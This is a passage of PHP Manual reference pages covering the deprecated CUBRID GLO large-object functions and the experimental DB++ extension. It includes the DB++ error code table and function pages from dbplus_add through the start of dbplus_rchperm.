  • cubrid_new_glo »
  • PHP Manual
  • CUBRID Obsolete Aliases and Functions
  • Read data from a GLO instance and save it in a file

cubrid_load_from_glo

(PECL CUBRID >= 8.3.0)

cubrid_load_from_glo — Read data from a GLO instance and save it in a file

Description

int cubrid_load_from_glo ( resource $conn_identifier , string $oid , string $file_name )

The cubrid_load_from_glo() function is used to read a data from a glo instance, and saves it in a designated file.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read the data from.

file_name

Name of the file where you want to save the data in.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_load_from_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
   list ($oid) = cubrid_fetch($req);
   cubrid_close_request($req);
   $res = cubrid_load_from_glo ($con, $oid, "output.jpg");
   if ($res) {
      echo "image changed successfully";
   }
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_load_from_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Create a glo instance

  • « cubrid_load_from_glo
  • cubrid_save_to_glo »
  • PHP Manual
  • CUBRID Obsolete Aliases and Functions
  • Create a glo instance

cubrid_new_glo

(PECL CUBRID >= 8.3.0)

cubrid_new_glo — Create a glo instance

Description

string cubrid_new_glo ( resource $conn_identifier , string $class_name , string $file_name )

The cubrid_new_glo() function is used to create a glo instance in the requested class (glo class). The glo created is a LO type, and is stored in the file_name file.

Parameters

conn_identifier

Connection identifier.

class_name

Name of the class that you want to create a glo in.

file_name

The file name that you want to save in the newly created glo.

Return Values

Oid of the instance created, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_new_glo() example

<?php
$oid = cubrid_new_glo ($con, "glo", "input.jpg");
if ($oid){
   // the type of column "image" is "object"
   $req = cubrid_execute ($con, "insert into person(image) values($oid)");
   if ($req) {
      echo "image inserted successfully";
      cubrid_close_request ($req);
      cubrid_commit($con);
   }
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_new_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Save requested file in a GLO instance

  • « cubrid_new_glo
  • cubrid_send_glo »
  • PHP Manual
  • CUBRID Obsolete Aliases and Functions
  • Save requested file in a GLO instance

cubrid_save_to_glo

(PECL CUBRID >= 8.3.0)

cubrid_save_to_glo — Save requested file in a GLO instance

Description

int cubrid_save_to_glo ( resource $conn_identifier , string $oid , string $file_name )

The cubrid_save_to_glo() function is used to save requested file in a glo instance.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to save a file in.

file_name

The name of the file that you want to save.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_save_to_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
   list ($oid) = cubrid_fetch($req);
   cubrid_close_request($req);
   $res = cubrid_save_to_glo ($con, $oid, "input.jpg");
   if ($res) {
      echo "image changed successfully";
   }
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_save_to_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_new_glo() - Create a glo instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Read data from glo and send it to std output

  • « cubrid_save_to_glo
  • DB++ »
  • PHP Manual
  • CUBRID Obsolete Aliases and Functions
  • Read data from glo and send it to std output

cubrid_send_glo

(PECL CUBRID >= 8.3.0)

cubrid_send_glo — Read data from glo and send it to std output

Description

int cubrid_send_glo ( resource $conn_identifier , string $oid )

The cubrid_send_glo() function is used to read data from glo instance and sends it to the PHP standard output.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read data from.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_send_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id =1");
if ($req) {
  list ($oid) = cubrid_fetch($req);
  cubrid_close_request($req);
  Header ("Content-type: image/jpeg");
  cubrid_send_glo ($con, $oid);
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: cubrid_send_glo()

Note:

This function is removed from CUBRID 3.1.

See Also

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file

User Contributed Notes

There are no user contributed notes for this page.


DB++

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • db++ error codes
  • DB++ Functions
    • dbplus_add — Add a tuple to a relation
    • dbplus_aql — Perform AQL query
    • dbplus_chdir — Get/Set database virtual current directory
    • dbplus_close — Close a relation
    • dbplus_curr — Get current tuple from relation
    • dbplus_errcode — Get error string for given errorcode or last error
    • dbplus_errno — Get error code for last operation
    • dbplus_find — Set a constraint on a relation
    • dbplus_first — Get first tuple from relation
    • dbplus_flush — Flush all changes made on a relation
    • dbplus_freealllocks — Free all locks held by this client
    • dbplus_freelock — Release write lock on tuple
    • dbplus_freerlocks — Free all tuple locks on given relation
    • dbplus_getlock — Get a write lock on a tuple
    • dbplus_getunique — Get an id number unique to a relation
    • dbplus_info — Get information about a relation
    • dbplus_last — Get last tuple from relation
    • dbplus_lockrel — Request write lock on relation
    • dbplus_next — Get next tuple from relation
    • dbplus_open — Open relation file
    • dbplus_prev — Get previous tuple from relation
    • dbplus_rchperm — Change relation permissions
    • dbplus_rcreate — Creates a new DB++ relation
    • dbplus_rcrtexact — Creates an exact but empty copy of a relation including indices
    • dbplus_rcrtlike — Creates an empty copy of a relation with default indices
    • dbplus_resolve — Resolve host information for relation
    • dbplus_restorepos — Restore position
    • dbplus_rkeys — Specify new primary key for a relation
    • dbplus_ropen — Open relation file local
    • dbplus_rquery — Perform local (raw) AQL query
    • dbplus_rrename — Rename a relation
    • dbplus_rsecindex — Create a new secondary index for a relation
    • dbplus_runlink — Remove relation from filesystem
    • dbplus_rzap — Remove all tuples from relation
    • dbplus_savepos — Save position
    • dbplus_setindex — Set index
    • dbplus_setindexbynumber — Set index by number
    • dbplus_sql — Perform SQL query
    • dbplus_tcl — Execute TCL code on server side
    • dbplus_tremove — Remove tuple and return new current tuple
    • dbplus_undo — Undo
    • dbplus_undoprepare — Prepare undo
    • dbplus_unlockrel — Give up write lock on relation
    • dbplus_unselect — Remove a constraint from relation
    • dbplus_update — Update specified tuple in relation
    • dbplus_xlockrel — Request exclusive lock on relation
    • dbplus_xunlockrel — Free exclusive lock on relation

User Contributed Notes

There are no user contributed notes for this page.


Introduction

db++, made by the German company » Concept asa, is a relational database system with high performance and low memory and disk usage in mind. While providing SQL as an additional language interface, it is not really an SQL database in the first place but provides its own AQL query language which is much more influenced by the relational algebra than SQL is.

Concept asa always had an interest in supporting open source languages, db++ has had Perl and Tcl call interfaces for years now and uses Tcl as its internal stored procedure language.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension relies on external client libraries so you have to have a db++ client installed on the system you want to use this extension on.

» Concept asa provides » db++ Demo versions and » documentation for Linux, some other Unix versions. There is also a Windows version of db++, but this extension doesn't support it (yet).

User Contributed Notes

There are no user contributed notes for this page.


Installation

In order to build this extension yourself you need the db++ client libraries and header files to be installed on your system (these are included in the db++ installation archives by default). You have to run configure with option --with-dbplus to build this extension.

configure looks for the client libraries and header files under the default paths /usr/dbplus, /usr/local/dbplus and /opt/dblus. If you have installed db++ in a different place you have add the installation path to the configure option like this: --with-dbplus=/your/installation/path .

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

dbplus_relation

Most db++ functions operate on or return dbplus_relation resources. A dbplus_relation is a handle to a stored relation or a relation generated as the result of a query.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

Table of Contents

  • db++ error codes

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.


db++ error codes

DB++ Error Codes
PHP Constant | db++ constant | meaning
DBPLUS_ERR_NOERR (integer) | ERR_NOERR | Null error condition
DBPLUS_ERR_DUPLICATE (integer) | ERR_DUPLICATE | Tried to insert a duplicate tuple
DBPLUS_ERR_EOSCAN (integer) | ERR_EOSCAN | End of scan from rget()
DBPLUS_ERR_EMPTY (integer) | ERR_EMPTY | Relation is empty (server)
DBPLUS_ERR_CLOSE (integer) | ERR_CLOSE | The server can't close
DBPLUS_ERR_WLOCKED (integer) | ERR_WLOCKED | The record is write locked
DBPLUS_ERR_LOCKED (integer) | ERR_LOCKED | Relation was already locked
DBPLUS_ERR_NOLOCK (integer) | ERR_NOLOCK | Relation cannot be locked
DBPLUS_ERR_READ (integer) | ERR_READ | Read error on relation
DBPLUS_ERR_WRITE (integer) | ERR_WRITE | Write error on relation
DBPLUS_ERR_CREATE (integer) | ERR_CREATE | Create() system call failed
DBPLUS_ERR_LSEEK (integer) | ERR_LSEEK | Lseek() system call failed
DBPLUS_ERR_LENGTH (integer) | ERR_LENGTH | Tuple exceeds maximum length
DBPLUS_ERR_OPEN (integer) | ERR_OPEN | Open() system call failed
DBPLUS_ERR_WOPEN (integer) | ERR_WOPEN | Relation already opened for writing
DBPLUS_ERR_MAGIC (integer) | ERR_MAGIC | File is not a relation
DBPLUS_ERR_VERSION (integer) | ERR_VERSION | File is a very old relation
DBPLUS_ERR_PGSIZE (integer) | ERR_PGSIZE | Relation uses a different page size
DBPLUS_ERR_CRC (integer) | ERR_CRC | Invalid crc in the superpage
DBPLUS_ERR_PIPE (integer) | ERR_PIPE | Piped relation requires lseek()
DBPLUS_ERR_NIDX (integer) | ERR_NIDX | Too many secondary indices
DBPLUS_ERR_MALLOC (integer) | ERR_MALLOC | Malloc() call failed
DBPLUS_ERR_NUSERS (integer) | ERR_NUSERS | Error use of max users
DBPLUS_ERR_PREEXIT (integer) | ERR_PREEXIT | Caused by invalid usage
DBPLUS_ERR_ONTRAP (integer) | ERR_ONTRAP | Caused by a signal
DBPLUS_ERR_PREPROC (integer) | ERR_PREPROC | Error in the preprocessor
DBPLUS_ERR_DBPARSE (integer) | ERR_DBPARSE | Error in the parser
DBPLUS_ERR_DBRUNERR (integer) | ERR_DBRUNERR | Run error in db
DBPLUS_ERR_DBPREEXIT (integer) | ERR_DBPREEXIT | Exit condition caused by prexit() * procedure
DBPLUS_ERR_WAIT (integer) | ERR_WAIT | Wait a little (Simple only)
DBPLUS_ERR_CORRUPT_TUPLE (integer) | ERR_CORRUPT_TUPLE | A client sent a corrupt tuple
DBPLUS_ERR_WARNING0 (integer) | ERR_WARNING0 | The Simple routines encountered a non fatal error which was corrected
DBPLUS_ERR_PANIC (integer) | ERR_PANIC | The server should not really die but after a disaster send ERR_PANIC to all its clients
DBPLUS_ERR_FIFO (integer) | ERR_FIFO | Can't create a fifo
DBPLUS_ERR_PERM (integer) | ERR_PERM | Permission denied
DBPLUS_ERR_TCL (integer) | ERR_TCL | TCL_error
DBPLUS_ERR_RESTRICTED (integer) | ERR_RESTRICTED | Only two users
DBPLUS_ERR_USER (integer) | ERR_USER | An error in the use of the library by an application programmer
DBPLUS_ERR_UNKNOWN (integer) | ERR_UNKNOWN |

User Contributed Notes

There are no user contributed notes for this page.


DB++ Functions

Table of Contents

  • dbplus_add — Add a tuple to a relation
  • dbplus_aql — Perform AQL query
  • dbplus_chdir — Get/Set database virtual current directory
  • dbplus_close — Close a relation
  • dbplus_curr — Get current tuple from relation
  • dbplus_errcode — Get error string for given errorcode or last error
  • dbplus_errno — Get error code for last operation
  • dbplus_find — Set a constraint on a relation
  • dbplus_first — Get first tuple from relation
  • dbplus_flush — Flush all changes made on a relation
  • dbplus_freealllocks — Free all locks held by this client
  • dbplus_freelock — Release write lock on tuple
  • dbplus_freerlocks — Free all tuple locks on given relation
  • dbplus_getlock — Get a write lock on a tuple
  • dbplus_getunique — Get an id number unique to a relation
  • dbplus_info — Get information about a relation
  • dbplus_last — Get last tuple from relation
  • dbplus_lockrel — Request write lock on relation
  • dbplus_next — Get next tuple from relation
  • dbplus_open — Open relation file
  • dbplus_prev — Get previous tuple from relation
  • dbplus_rchperm — Change relation permissions
  • dbplus_rcreate — Creates a new DB++ relation
  • dbplus_rcrtexact — Creates an exact but empty copy of a relation including indices
  • dbplus_rcrtlike — Creates an empty copy of a relation with default indices
  • dbplus_resolve — Resolve host information for relation
  • dbplus_restorepos — Restore position
  • dbplus_rkeys — Specify new primary key for a relation
  • dbplus_ropen — Open relation file local
  • dbplus_rquery — Perform local (raw) AQL query
  • dbplus_rrename — Rename a relation
  • dbplus_rsecindex — Create a new secondary index for a relation
  • dbplus_runlink — Remove relation from filesystem
  • dbplus_rzap — Remove all tuples from relation
  • dbplus_savepos — Save position
  • dbplus_setindex — Set index
  • dbplus_setindexbynumber — Set index by number
  • dbplus_sql — Perform SQL query
  • dbplus_tcl — Execute TCL code on server side
  • dbplus_tremove — Remove tuple and return new current tuple
  • dbplus_undo — Undo
  • dbplus_undoprepare — Prepare undo
  • dbplus_unlockrel — Give up write lock on relation
  • dbplus_unselect — Remove a constraint from relation
  • dbplus_update — Update specified tuple in relation
  • dbplus_xlockrel — Request exclusive lock on relation
  • dbplus_xunlockrel — Free exclusive lock on relation

User Contributed Notes

There are no user contributed notes for this page.


Add a tuple to a relation

  • « DB++ Functions
  • dbplus_aql »
  • PHP Manual
  • DB++ Functions
  • Add a tuple to a relation

dbplus_add

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_add — Add a tuple to a relation

Description

int dbplus_add ( resource $relation , array $tuple )

Adds a tuple to a relation.

Parameters

relation

tuple

An array of attribute/value pairs to be inserted into the given relation.

After successful execution this array will contain the complete data of the newly created tuple, including all implicitly set domain fields like sequences.

Return Values

The function will return DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.


Perform AQL query

  • « dbplus_add
  • dbplus_chdir »
  • PHP Manual
  • DB++ Functions
  • Perform AQL query

dbplus_aql

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_aql — Perform AQL query

Description

resource dbplus_aql ( string $query [, string $server [, string $dbpath ]] )

Executes an AQL query on the given server and dbpath.

Parameters

query

The AQL query to be executed. Further information on the AQL (Algebraic Query Language) is provided in the original db++ manual.

server

dbpath

Return Values

Returns a relation handle on success. The result data may be fetched from this relation by calling dbplus_next() and dbplus_curr(). Other relation access functions will not work on a result relation.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get/Set database virtual current directory

  • « dbplus_aql
  • dbplus_close »
  • PHP Manual
  • DB++ Functions
  • Get/Set database virtual current directory

dbplus_chdir

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_chdir — Get/Set database virtual current directory

Description

string dbplus_chdir ([ string $newdir ] )

Changes the virtual current directory where relation files will be looked for by dbplus_open().

Parameters

newdir

The new directory for relation files. You can omit this parameter to query the current working directory.

Return Values

Returns the absolute path of the current directory.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Close a relation

  • « dbplus_chdir
  • dbplus_curr »
  • PHP Manual
  • DB++ Functions
  • Close a relation

dbplus_close

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_close — Close a relation

Description

mixed dbplus_close ( resource $relation )

Closes a relation previously opened by dbplus_open().

Parameters

relation

A relation opened by dbplus_open().

Return Values

Returns TRUE on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get current tuple from relation

  • « dbplus_close
  • dbplus_errcode »
  • PHP Manual
  • DB++ Functions
  • Get current tuple from relation

dbplus_curr

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_curr — Get current tuple from relation

Description

int dbplus_curr ( resource $relation , array &$tuple )

Reads the data for the current tuple for the given relation.

Parameters

relation

A relation opened by dbplus_open().

tuple

The data will be passed back in this parameter, as an associative array.

Return Values

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_next() - Get next tuple from relation
  • dbplus_last() - Get last tuple from relation
  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.


Get error string for given errorcode or last error

  • « dbplus_curr
  • dbplus_errno »
  • PHP Manual
  • DB++ Functions
  • Get error string for given errorcode or last error

dbplus_errcode

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_errcode — Get error string for given errorcode or last error

Description

string dbplus_errcode ([ int $errno ] )

Returns a clear error string for the given error code.

Parameters

errno

The error code. If not provided, the result code of the last db++ operation is assumed.

Return Values

Returns the error message.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get error code for last operation

  • « dbplus_errcode
  • dbplus_find »
  • PHP Manual
  • DB++ Functions
  • Get error code for last operation

dbplus_errno

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_errno — Get error code for last operation

Description

int dbplus_errno ( void )

Returns the error code returned by the last db++ operation.

Return Values

Returns the error code, as an integer.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.


Set a constraint on a relation

  • « dbplus_errno
  • dbplus_first »
  • PHP Manual
  • DB++ Functions
  • Set a constraint on a relation

dbplus_find

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_find — Set a constraint on a relation

Description

int dbplus_find ( resource $relation , array $constraints , mixed $tuple )

Places a constraint on the given relation.

Further calls to functions like dbplus_curr() or dbplus_next() will only return tuples matching the given constraints.

Parameters

relation

A relation opened by dbplus_open().

constraints

Constraints are triplets of strings containing of a domain name, a comparison operator and a comparison value. The constraints parameter array may consist of a collection of string arrays, each of which contains a domain, an operator and a value, or of a single string array containing a multiple of three elements.

The comparison operator may be one of the following strings: '==', '>', '>=', '<', '<=', '!=', '~' for a regular expression match and 'BAND' or 'BOR' for bitwise operations.

tuple

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_unselect() - Remove a constraint from relation

User Contributed Notes

There are no user contributed notes for this page.


Get first tuple from relation

  • « dbplus_find
  • dbplus_flush »
  • PHP Manual
  • DB++ Functions
  • Get first tuple from relation

dbplus_first

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_first — Get first tuple from relation

Description

int dbplus_first ( resource $relation , array &$tuple )

Reads the data for the first tuple for the given relation, makes it the current tuple and pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_curr() - Get current tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_next() - Get next tuple from relation
  • dbplus_last() - Get last tuple from relation
  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.


Flush all changes made on a relation

  • « dbplus_first
  • dbplus_freealllocks »
  • PHP Manual
  • DB++ Functions
  • Flush all changes made on a relation

dbplus_flush

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_flush — Flush all changes made on a relation

Description

int dbplus_flush ( resource $relation )

Writes all changes applied to relation since the last flush to disk.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.


Free all locks held by this client

  • « dbplus_flush
  • dbplus_freelock »
  • PHP Manual
  • DB++ Functions
  • Free all locks held by this client

dbplus_freealllocks

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_freealllocks — Free all locks held by this client

Description

int dbplus_freealllocks ( void )

Frees all tuple locks held by this client.

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_getlock() - Get a write lock on a tuple
  • dbplus_freelock() - Release write lock on tuple
  • dbplus_freerlocks() - Free all tuple locks on given relation

User Contributed Notes

There are no user contributed notes for this page.


Release write lock on tuple

  • « dbplus_freealllocks
  • dbplus_freerlocks »
  • PHP Manual
  • DB++ Functions
  • Release write lock on tuple

dbplus_freelock

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_freelock — Release write lock on tuple

Description

int dbplus_freelock ( resource $relation , string $tuple )

Releases a write lock on the given tuple previously obtained by dbplus_getlock().

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_getlock() - Get a write lock on a tuple
  • dbplus_freerlocks() - Free all tuple locks on given relation
  • dbplus_freealllocks() - Free all locks held by this client

User Contributed Notes

There are no user contributed notes for this page.


Free all tuple locks on given relation

  • « dbplus_freelock
  • dbplus_getlock »
  • PHP Manual
  • DB++ Functions
  • Free all tuple locks on given relation

dbplus_freerlocks

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_freerlocks — Free all tuple locks on given relation

Description

int dbplus_freerlocks ( resource $relation )

Frees all tuple locks held on the given relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_getlock() - Get a write lock on a tuple
  • dbplus_freelock() - Release write lock on tuple
  • dbplus_freealllocks() - Free all locks held by this client

User Contributed Notes

There are no user contributed notes for this page.


Get a write lock on a tuple

  • « dbplus_freerlocks
  • dbplus_getunique »
  • PHP Manual
  • DB++ Functions
  • Get a write lock on a tuple

dbplus_getlock

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_getlock — Get a write lock on a tuple

Description

int dbplus_getlock ( resource $relation , string $tuple )

Requests a write lock on the specified tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns zero on success or a non-zero error code, especially DBPLUS_ERR_WLOCKED on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_freelock() - Release write lock on tuple
  • dbplus_freerlocks() - Free all tuple locks on given relation
  • dbplus_freealllocks() - Free all locks held by this client

User Contributed Notes

There are no user contributed notes for this page.


Get an id number unique to a relation

  • « dbplus_getlock
  • dbplus_info »
  • PHP Manual
  • DB++ Functions
  • Get an id number unique to a relation

dbplus_getunique

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_getunique — Get an id number unique to a relation

Description

int dbplus_getunique ( resource $relation , int $uniqueid )

Obtains a number guaranteed to be unique for the given relation and will pass it back in the variable given as uniqueid.

Parameters

relation

A relation opened by dbplus_open().

uniqueid

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get information about a relation

  • « dbplus_getunique
  • dbplus_last »
  • PHP Manual
  • DB++ Functions
  • Get information about a relation

dbplus_info

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_info — Get information about a relation

Description

int dbplus_info ( resource $relation , string $key , array &$result )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

key

result

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get last tuple from relation

  • « dbplus_info
  • dbplus_lockrel »
  • PHP Manual
  • DB++ Functions
  • Get last tuple from relation

dbplus_last

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_last — Get last tuple from relation

Description

int dbplus_last ( resource $relation , array &$tuple )

Reads the data for the last tuple for the given relation, makes it the current tuple and pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_curr() - Get current tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_next() - Get next tuple from relation

User Contributed Notes

There are no user contributed notes for this page.


Request write lock on relation

  • « dbplus_last
  • dbplus_next »
  • PHP Manual
  • DB++ Functions
  • Request write lock on relation

dbplus_lockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_lockrel — Request write lock on relation

Description

int dbplus_lockrel ( resource $relation )

Requests a write lock on the given relation.

Other clients may still query the relation, but can't alter it while it is locked.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get next tuple from relation

  • « dbplus_lockrel
  • dbplus_open »
  • PHP Manual
  • DB++ Functions
  • Get next tuple from relation

dbplus_next

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_next — Get next tuple from relation

Description

int dbplus_next ( resource $relation , array &$tuple )

Reads the data for the next tuple for the given relation, makes it the current tuple and will pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_curr() - Get current tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_last() - Get last tuple from relation

User Contributed Notes

There are no user contributed notes for this page.


Open relation file

  • « dbplus_next
  • dbplus_prev »
  • PHP Manual
  • DB++ Functions
  • Open relation file

dbplus_open

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_open — Open relation file

Description

resource dbplus_open ( string $name )

Opens the given relation file.

Parameters

name

Can be either a file name or a relative or absolute path name. This will be mapped in any case to an absolute relation file path on a specific host machine and server.

Return Values

On success a relation file resource (cursor) is returned which must be used in any subsequent commands referencing the relation. Failure leads to a zero return value, the actual error code may be asked for by calling dbplus_errno().

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get previous tuple from relation

  • « dbplus_open
  • dbplus_rchperm »
  • PHP Manual
  • DB++ Functions
  • Get previous tuple from relation

dbplus_prev

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_prev — Get previous tuple from relation

Description

int dbplus_prev ( resource $relation , array &$tuple )

Reads the data for the previous tuple for the given relation, makes it the current tuple and will pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_curr() - Get current tuple from relation
  • dbplus_next() - Get next tuple from relation
  • dbplus_last() - Get last tuple from relation

User Contributed Notes

There are no user contributed notes for this page.


Change relation permissions

  • « dbplus_prev
  • dbplus_rcreate »
  • PHP Manual
  • DB++ Functions
  • Change relation permissions

dbplus_rchperm

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rchperm — Change relation permissions

Description

int dbplus_rchperm ( resource $relation , int $mask , string $user , string $group )

